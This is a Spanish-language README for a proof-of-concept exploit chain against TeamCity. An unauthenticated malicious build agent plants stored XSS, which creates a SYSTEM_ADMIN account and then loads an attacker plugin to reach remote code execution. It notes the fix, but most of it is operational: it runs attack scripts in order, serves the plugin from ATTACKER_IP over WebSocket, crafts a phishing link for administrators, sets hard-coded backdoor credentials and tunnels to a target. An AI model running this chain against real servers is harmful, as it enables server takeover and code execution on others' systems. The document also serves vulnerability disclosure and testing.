
Prueba de concepto para CVE-2026-59795: XSS almacenado no autenticado en los detalles del agente de TeamCity, encadenado a la creación de una cuenta SYSTEM_ADMIN y a RCE mediante carga de plugins.
XSS almacenado no autenticado en la página heredada de detalles del agente de TeamCity, que escala a RCE en el servidor sin reinicio. Un atacante registra un agente de compilación (sin necesidad de credenciales) con un os.name malicioso y luego consigue que un administrador vea la página de detalles de ese agente. El payload se ejecuta en la sesión autenticada del administrador y puede crear una cuenta SYSTEM_ADMIN o subir y cargar un plugin malicioso.
| CVE | CVE-2026-59795 |
| Afectado | TeamCity <= 2026.1.1 (build 222577) |
| Corregido en | 2026.1.2 (222647), 2025.11.6 (208214) |
| CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N |
| Tipo | XSS almacenado (CWE-79), encadenable a la toma de control de SYSTEM_ADMIN y RCE |
| Autenticación requerida | Ninguna para implantar el payload |
Desencadenante: un administrador visualiza el agente malicioso, ya sea mediante un enlace manipulado de un solo clic &fromSakuraUI=true en la interfaz Sakura predeterminada, o sin ningún tipo de phishing abriendo el agente pendiente en el flujo de trabajo de autorización normal cuando el administrador usa la interfaz clásica (la opción "Use Sakura UI" desmarcada por usuario, o el modo clásico en todo el servidor).
webapps/ROOT/agent/agentSummary.jsp renderiza el nombre del sistema operativo reportado por el agente sin escapar:
<li>Operating system: <bs:osIcon osName="${agent.operatingSystemName}"/><strong>${agent.operatingSystemName}</strong></li>
Escrito completo con capturas de pantalla y contexto: https://joakimbulow.com/posts/cve-2026-59795/
El nombre del agente hermano unas líneas más arriba usa <c:out>, lo que confirma que la omisión es accidental. operatingSystemName está totalmente controlado por el atacante: un agente no autenticado lo establece en el registro (atributo osName en POST /app/agents/v1/register), y el servidor lo almacena y lo devuelve tal cual.
La interfaz React de Sakura escapa osName correctamente y normalmente redirige fuera de la página heredada, pero la redirección se omite (y el JSP sin escapar se renderiza) cuando:
?fromSakuraUI=true en la URL (la propia marca de omisión de la etiqueta de redirección), oteamcity.ui.experimental=disableDefault, o la exclusión voluntaria "Use Sakura UI" por usuario), oConfirmado en vivo:
alert(document.domain) en la sesión del administrador, sin efectos secundarios.SYSTEM_ADMIN en la sesión del administrador (sin RCE)./admin/pluginUpload.html y lo habilita mediante /admin/plugins.html (EnableAllPlugins), lo que carga Java del atacante en la JVM de TeamCity en ejecución sin reinicio. Verificado mediante un archivo de prueba escrito en el host del servidor, 4 segundos después del clic del administrador.Escapar la salida en agentSummary.jsp:
<strong><c:out value="${agent.operatingSystemName}"/></strong>
(El campo agent.version de la línea anterior tiene el mismo problema y necesita la misma corrección.)
GET /update/buildAgent.zipjavac en la máquina del atacante, solo necesario para el PoC de RCEcurl -o buildAgent.zip https://teamcity.example.com/update/buildAgent.zip
unzip buildAgent.zip -d evilagent
No necesitas editar manualmente conf/buildAgent.properties; cada PoC a continuación establece serverUrl a partir de su argumento --url/--tc-url y reescribe el nombre del agente en cada ejecución, por lo que es seguro reutilizar el mismo directorio evilagent/ descomprimido repetidamente.
./poc/)Ejecútalos en orden, cada uno confirma más impacto que el anterior.
1. alert_only.py, confirma el XSS, cero efectos secundarios. Coloca un agente cuyo osName lanza alert(document.domain). No se crea ninguna cuenta, no se ejecuta ningún código.
python3 poc/alert_only.py --url https://teamcity.example.com --agent-dir ./evilagent
2. attacker_deeplink.py, toma de control de XSS a SYSTEM_ADMIN, sin RCE. Misma planta, pero el payload crea una cuenta SYSTEM_ADMIN (eviladmin / Ev1l-Pass-123) y sondea hasta que esa cuenta pueda iniciar sesión.
python3 poc/attacker_deeplink.py --url https://teamcity.example.com --agent-dir ./evilagent
3. rce_ws_server.py, cadena completa, de XSS a carga de plugin a RCE, en una sola terminal. Compila un plugin, inicia el agente malicioso y un servidor WebSocket, e imprime el enlace de phishing. Cuando el administrador lo visualiza: se dispara el XSS, el servidor WS entrega el plugin, este se carga y se habilita, y TeamCity lo carga en tiempo de ejecución.
python3 poc/rce_ws_server.py --lhost ATTACKER_IP --lport 1337 \
--tc-url https://teamcity.example.com --agent-dir ./evilagent
Cada PoC imprime un enlace como:
https://teamcity.example.com/agentDetails.html?id=N&fromSakuraUI=true
Envíalo al administrador (Sakura UI, un clic), o, si el administrador ya está en la UI clásica, simplemente indícale agentDetails.html?id=N sin ningún parámetro especial, por ejemplo, mediante el flujo normal de revisión de agentes pendientes.
A los pocos segundos del clic del administrador, en el host del servidor de TeamCity:
cat /tmp/pwned-tc-xss-rce.txt
=== TeamCity XSS->RCE chain confirmed ===
user: <tc-process-user>
host: <hostname>
java: <java-version>
cwd: <teamcity-bin-dir>
time: <timestamp>
Si el navegador del administrador no puede llegar directamente a tu máquina atacante, por ejemplo, si solo eres accesible a través de un túnel SSH hacia el objetivo, usa rce_prepare.py para compilar el plugin y el agente en tu máquina, luego transfiere poc/ws_serve.py y el ZIP del plugin compilado al host de TeamCity y sírvelos desde allí:
# on the attacker machine
python3 poc/rce_prepare.py --tc-url http://localhost:8111 --agent-dir ./evilagent \
--ws-host localhost --ws-port 1337 --plugin-out /tmp/evil-plugin.zip
# transfer poc/ws_serve.py and /tmp/evil-plugin.zip to the TeamCity host, then there:
python3 ws_serve.py evil-plugin.zip 1337
Reenvía el puerto WebSocket a través del mismo túnel usado para llegar a TeamCity (-L 1337:localhost:1337) para que el navegador del administrador pueda alcanzarlo como ws://localhost:1337.
Nota de limpieza: cada ejecución registra un agente con un nombre nuevo, por lo que las ejecuciones repetidas no colisionarán, pero cada una deja atrás un nuevo agente no autorizado. Elimínalos en Agents -> Unauthorized después de las pruebas.